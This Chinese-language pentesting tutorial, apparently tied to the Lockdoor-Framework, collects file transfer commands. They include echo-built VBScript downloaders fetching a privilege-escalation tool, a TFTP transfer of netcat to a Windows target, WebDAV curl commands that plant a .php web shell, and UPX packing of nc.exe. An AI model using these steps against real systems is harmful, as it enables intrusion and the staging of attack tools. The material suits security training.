Lockdoor-Framework中的文件传输技术详解

Lockdoor-Framework中的文件传输技术详解

Lockdoor-Framework 🔐 Lockdoor Framework : A Penetration Testing framework with Cyber Security Resources 项目地址: https://gitcode.com/gh_mirrors/lo/Lockdoor-Framework

前言

在渗透测试和安全研究中，文件传输是一项基础但至关重要的技能。本文将深入探讨Lockdoor-Framework项目中涉及的各种文件传输技术，帮助安全研究人员和渗透测试人员在不同环境下高效地进行文件传输操作。

本地简易Web服务器搭建

Python HTTP服务器

Python提供了快速搭建简易HTTP服务器的能力：

# Python 2.x版本
python -m SimpleHTTPServer 80

# Python 3.x版本
python3 -m http.server

这两种方式都能快速在当前目录启动一个HTTP服务，非常适合临时文件共享或shell传输。

Ruby WEBrick服务器

Ruby同样可以快速搭建HTTP服务器：

ruby -r webrick -e "s = WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd); trap('INT') { s.shutdown }; s.start"

这个命令会启动一个WEBrick服务器，监听8000端口，以当前目录为根目录。

PHP内置服务器

PHP从5.4.0开始内置了开发服务器：

php -S $ip:80

这个轻量级服务器适合快速测试PHP应用或共享文件。

Windows环境下的文件传输方案

VBScript实现wget功能

在没有wget的Windows系统上，可以使用VBScript实现类似功能：

1. 创建wget.vbs脚本：

' 脚本内容见原文

2. 使用方式：

cscript wget.vbs http://192.168.14.220/evidence.txt evidence.txt

命令行直接创建下载脚本

在受限环境中，可以直接在命令行中创建下载脚本：

echo Set args = Wscript.Arguments >> webdl.vbs
timeout 1
echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs
' 其余内容见原文

执行方式：

C:\temp\cscript.exe webdl.vbs

网络文件共享技术

NFS挂载

在Linux系统中挂载NFS共享：

mount $ip:/vol/share /mnt/nfs

WebDAV利用

当服务器启用PUT方法时，可以使用davtest工具：

davtest -move -sendbd auto -url http://$ip

或者手动使用curl：

# 上传文件
curl -T 'leetshellz.txt' 'http://$ip'

# 重命名文件
curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'

其他传输协议

SCP安全复制

SCP是基于SSH的安全文件传输方式：

scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2
scp localfile username@$ip:~/Folder/

TFTP简单文件传输

TFTP常用于网络设备固件更新等场景：

# 服务端设置
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/

# Windows客户端获取文件
tftp -i $ip get nc.exe

FTP服务搭建

搭建Pure-FTPd服务：

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
' 其余配置见原文'

文件处理技巧

UPX压缩

使用UPX压缩可执行文件：

upx -9 nc.exe

EXE转BAT

将EXE转换为可粘贴的文本格式：

wine exe2bat.exe nc.exe nc.txt

安全注意事项

1. 传输敏感文件时，尽量使用加密通道（如SCP、HTTPS）
2. 临时服务使用后应及时关闭
3. 上传文件前检查目标系统权限设置
4. 避免在公共网络使用明文协议传输文件

结语

掌握多种文件传输技术是渗透测试人员的基本功。Lockdoor-Framework提供的这些方法涵盖了从简单到复杂的各种场景，合理选择适合当前环境的技术可以大大提高工作效率。建议在实际工作中根据目标环境特点选择最合适的传输方式，并始终注意操作的安全性和谨慎性。

Lockdoor-Framework 🔐 Lockdoor Framework : A Penetration Testing framework with Cyber Security Resources 项目地址: https://gitcode.com/gh_mirrors/lo/Lockdoor-Framework